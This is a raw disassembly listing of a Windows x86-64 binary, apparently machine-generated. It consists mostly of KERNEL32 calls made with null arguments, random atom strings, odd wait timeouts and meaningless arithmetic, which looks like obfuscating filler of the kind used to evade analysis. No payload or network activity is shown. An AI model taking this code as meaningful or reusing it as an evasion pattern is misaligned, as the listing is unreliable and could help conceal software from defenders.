mov rcx, qword [rsp + 0xd7f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6404], eax
mov rax, qword [0x1401c70d8]
mov qword [rsp + 0xdf70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [rsp + 0xd7b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xde20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.Mw3zDBJW0u9oIs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdf78], rax
mov rax, qword [rsp + 0xd7e8]
mov rax, qword [rax]
mov qword [rsp + 0xdf80], rax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x190c], ax
lea rcx, [rsp + 0x200c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x253]
mov rcx, qword [rsp + 0xdcc8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x3eb], al
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xdf78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6754], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xd8f8]
mov rcx, qword [rsp + 0xc6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5bd4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62bc], eax
mov rax, qword [rsp + 0xde78]
mov rax, qword [rax]
mov rcx, qword [0x1401c8a68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd78], rax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ec], al
mov eax, dword [rsp + 0x644c]
mov rcx, qword [rsp + 0xc520]
mov qword [rsp + 0xdf88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf88]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1401c71d4], eax
movsx eax, word [0x1401c8dc0]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc888]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [rsp + 0x19f8]
mov rcx, qword [rsp + 0xd358]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x16ac], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdf90], rax
movzx eax, word [rsp + 0x2414]
mov rcx, qword [rsp + 0xd898]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2484], ax
mov rax, qword [rsp + 0xaeb8]
mov rcx, qword [rsp + 0xdb80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd690]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xc718]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6420], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [rsp + 0x67e4]
mov dword [rsp + 0x68e8], eax
mov rax, qword [rsp + 0xd778]
mov rcx, qword [rsp + 0xd7d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xce70], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdf98], rax
mov edx, 0x2339
mov rcx, qword [rsp + 0xd900]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x67b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx eax, byte [rsp + 0x3e6]
mov byte [rsp + 0x3ed], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6540], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, [rsp + 0x205a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x672c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xdd90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2128], ax
movzx eax, word [0x1401c8b10]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c714c], ax
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xd560]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9928], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, word [rsp + 0x2378]
mov rcx, qword [0x1401c8b90]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x880], ax
mov rax, qword [rsp + 0xdf50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
and eax, ecx
mov byte [rsp + 0x29c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov eax, dword [rsp + 0x5a8c]
mov dword [rsp + 0x68ec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movsx eax, byte [rsp + 0x3b5]
movsx ecx, byte [rsp + 0x165]
cdq
idiv ecx
mov byte [rsp + 0x1e5], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xd138]
mov rcx, qword [rsp + 0xde38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6724], eax
mov rax, qword [rsp + 0xd618]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcb70]
shr rax, cl
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0xd5e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b20]
sub eax, ecx
mov word [rsp + 0x2150], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx eax, word [rsp + 0x1f78]
mov rcx, qword [rsp + 0xd580]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c8a98], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x9f58]
mov qword [rsp + 0xdfa0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6628], eax
mov rax, qword [rsp + 0xd610]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce10]
mov qword [rsp + 0xdfa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdfa8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc8f0], rax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xd28]
mov qword [rsp + 0xdfb0], rax
movzx eax, word [rsp + 0x2408]
movzx ecx, word [rsp + 0x2264]
sar eax, cl
mov word [rsp + 0x1a24], ax
lea rcx, str.TTTT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2470], ax
lea rcx, [rsp + 0x20728]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x37e]
movsx ecx, byte [rsp + 0x37f]
sub eax, ecx
mov byte [rsp + 0x2c2], al
lea rax, [rsp + 0x68c8]
mov qword [rsp + 0xdfb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx ecx, word [rsp + 0x22dc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x204c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68f0], eax
mov edx, 0x1336
mov rcx, qword [rsp + 0xc690]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6898], eax
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0xb850]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xcb70], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6800], eax
movzx ecx, word [rsp + 0x1fb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
mov qword [rsp + 0xdfc0], rax
movzx eax, word [rsp + 0x904]
mov word [0x1401c8dd8], ax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd1d0], rax
lea rcx, str.YHy7o
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x255c], ax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1370], ax
mov rax, qword [rsp + 0xcb48]
mov rcx, qword [rsp + 0xcdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x381]
movzx ecx, byte [rsp + 0x3c1]
add eax, ecx
mov byte [rsp + 0x1d9], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xdb50]
mov rcx, qword [rsp + 0xda48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9db0], rax
mov rax, qword [rsp + 0xd618]
mov rax, qword [rax]
mov qword [rsp + 0xdfc8], rax
mov edx, 0x1ca9
mov rcx, qword [rsp + 0xdf90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65c4], eax
mov rax, qword [rsp + 0xd640]
mov rcx, qword [rsp + 0xd680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd60]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2560], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movsx eax, byte [rsp + 0x390]
movsx ecx, byte [rsp + 0x28d]
xor eax, ecx
mov byte [rsp + 0x23a], al
mov edx, 0xe19
mov rcx, qword [rsp + 0xdbb0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66d0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1578]
and eax, ecx
mov word [rsp + 0x1284], ax
lea rcx, [rsp + 0x1d840]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0xc24]
movzx ecx, word [0x1401c7154]
or eax, ecx
mov word [0x1401c8b10], ax
movzx ecx, word [rsp + 0x1f54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff8], ax
mov rax, qword [rsp + 0xd370]
movzx ecx, al
mov rax, qword [rsp + 0xdf40]
sar rax, cl
mov qword [rsp + 0x95d0], rax
movzx eax, word [rsp + 0x1e2c]
mov word [rsp + 0x2564], ax
lea rcx, [rsp + 0x1d700]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [rsp + 0x14bc]
mov rcx, qword [rsp + 0xd060]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x18e8], ax
mov r9d, 1
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xcf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xa728]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xdbb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc350]
mov rcx, qword [rsp + 0xc910]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa830], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xc8c0]
mov rcx, qword [rsp + 0xd190]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x685c], eax
movzx eax, byte [rsp + 0x3c2]
mov byte [rsp + 0x3ee], al
mov rax, qword [rsp + 0xcad0]
movzx eax, word [rax]
mov rcx, qword [0x1401c8d48]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x114c], ax
mov rax, qword [rsp + 0xd488]
mov rax, qword [rax]
mov qword [0x1401c8de0], rax
mov rax, qword [rsp + 0xdcc8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ef], al
mov rax, qword [rsp + 0xdc48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x679c]
shl eax, cl
mov dword [rsp + 0x5b58], eax
mov rcx, qword [rsp + 0xd150]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x20d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x250c], ax
mov rax, qword [rsp + 0xd9f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2184]
sub eax, ecx
mov word [rsp + 0x214c], ax
mov rcx, qword [rsp + 0xc870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0x2378]
mov qword [rsp + 0xdfd0], rax
movsx eax, byte [rsp + 0x28c]
movsx ecx, byte [rsp + 0x165]
add eax, ecx
mov byte [rsp + 0x234], al
lea rax, [rsp + 0x5ca4]
mov qword [rsp + 0xdfd8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdfe0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xc468]
mov rcx, qword [rsp + 0xddb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xae00], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd060]
mov word [rcx], ax
lea rcx, str.WbpnY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x238c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x67b4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdfe8], rax
movzx ecx, word [rsp + 0x2154]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68cc], eax
movzx eax, word [rsp + 0x924]
mov rcx, qword [rsp + 0xda68]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c71d8], ax
xor r9d, r9d
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xde70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68f8], eax
mov rax, qword [rsp + 0xd968]
mov rcx, qword [rsp + 0xdf10]
mov qword [rsp + 0xdff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdff0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb7e0], rax
mov edx, 0xef0
mov rcx, qword [rsp + 0xd150]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x668c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d818]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc118]
movzx ecx, al
mov rax, qword [rsp + 0xba40]
shl rax, cl
mov qword [rsp + 0xc4e8], rax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x241c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22e8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd7e8]
mov rax, qword [rax]
mov qword [rsp + 0xdff8], rax
movsx eax, word [rsp + 0x23f8]
mov rcx, qword [rsp + 0xd5e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdab0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd6e0]
mov rcx, qword [rsp + 0xba90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcae8], rax
lea rcx, [rsp + 0x20128]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xda18]
mov ecx, dword [rsp + 0x68c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5e98], eax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcd18]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x310], al
lea rax, [rsp + 0x384]
mov qword [rsp + 0xe000], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd7e0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xcdb8]
mov ecx, dword [rsp + 0x5a24]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5728], eax
mov rax, qword [0x1401c8b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8bb8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, word [rsp + 0x1f94]
movzx ecx, word [rsp + 0x2390]
add eax, ecx
mov word [rsp + 0x2178], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68fc], eax
movzx eax, word [rsp + 0x1164]
mov word [rsp + 0x2568], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
mov rax, qword [0x1401c8aa0]
mov rcx, qword [rsp + 0xc2e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x98f0], rax
mov rax, qword [rsp + 0xd5b0]
mov qword [rsp + 0xe008], rax
mov rax, qword [rsp + 0xd170]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd7b0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3ca], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rax, [0x1401c715c]
mov qword [rsp + 0xe010], rax
movsx eax, word [rsp + 0x223c]
movsx ecx, word [rsp + 0x19f8]
xor eax, ecx
mov word [rsp + 0x20dc], ax
movzx eax, word [rsp + 0xa90]
movzx ecx, word [rsp + 0x107c]
shl eax, cl
mov word [rsp + 0x21a8], ax
mov rax, qword [0x1401c8be0]
mov qword [0x1401c8de8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [rsp + 0x1d4a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x1bc8]
or eax, ecx
mov word [rsp + 0xe28], ax
lea rcx, str.FH_9_I
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x256c], ax
mov rax, qword [0x1401c70e8]
mov rcx, qword [rsp + 0xcf58]
mov qword [rsp + 0xe018], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe018]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9538], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov r9d, 1
lea r8, [rsp + 0xd748]
mov rdx, qword [rsp + 0xc740]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6758], eax
lea rcx, str.7ccWWv_A6Rdk_B_TdO1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2570], ax
mov rax, qword [rsp + 0xd9f8]
mov qword [rsp + 0xe020], rax
movsx eax, byte [rsp + 0x3e6]
mov rcx, qword [rsp + 0xdeb8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3ee], al
mov rcx, qword [rsp + 0xd670]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x68c4], eax
mov rax, qword [rsp + 0xd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5d24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x55d8], eax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe000]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x276], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xc728]
mov rcx, qword [rsp + 0xda28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x679c], eax
mov rax, qword [rsp + 0xdc10]
mov rax, qword [rax]
mov qword [rsp + 0xe028], rax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0xca28]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401c71c8], ax
lea rcx, [rsp + 0x1d700]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rsp + 0x20458]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x1238]
mov rcx, qword [rsp + 0xca28]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe90], ax
movzx eax, word [0x1401c8a70]
mov rcx, qword [rsp + 0xd508]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd470]
mov word [rcx], ax
mov rax, qword [rsp + 0xd018]
movzx eax, word [rax]
mov word [rsp + 0x2574], ax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, byte [rsp + 0x38f]
movsx ecx, byte [rsp + 0x3ce]
add eax, ecx
mov byte [rsp + 0x393], al
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xc570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x60f8], eax
lea rcx, [rsp + 0x20758]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xd850]
mov rcx, qword [rsp + 0xb0e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xdf00], rax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401c8a38]
movzx eax, word [rax]
mov word [rsp + 0x2578], ax
movzx eax, word [rsp + 0x11e4]
mov rcx, qword [rsp + 0xcdf0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcb4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95d0]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c71e0], rax
mov rax, qword [rsp + 0xc580]
mov rcx, qword [rsp + 0xb2e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0xde10]
movzx ecx, al
mov rax, qword [rsp + 0xa2f8]
sar rax, cl
mov qword [rsp + 0xaec8], rax
mov rax, qword [0x1401c8c58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdb80]
shl rax, cl
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
movzx eax, word [rsp + 0x24e8]
mov word [rsp + 0x257c], ax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xdf20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x606c], eax
mov rax, qword [rsp + 0xe000]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x13d], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
lea rax, [rsp + 0xcb20]
mov qword [rsp + 0xe030], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xce08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcea0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x388], al
mov rax, qword [rsp + 0xd710]
mov rcx, qword [rsp + 0xc8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401c8a18], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xdfb0]
movzx eax, word [rax]
mov word [rsp + 0x2580], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x20dc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6898], eax
mov r9d, 0x218e
xor r8d, r8d
lea rdx, [rsp + 0xda20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6774], eax
lea rcx, [rsp + 0x20788]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x1401c8ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd290]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf30], ax
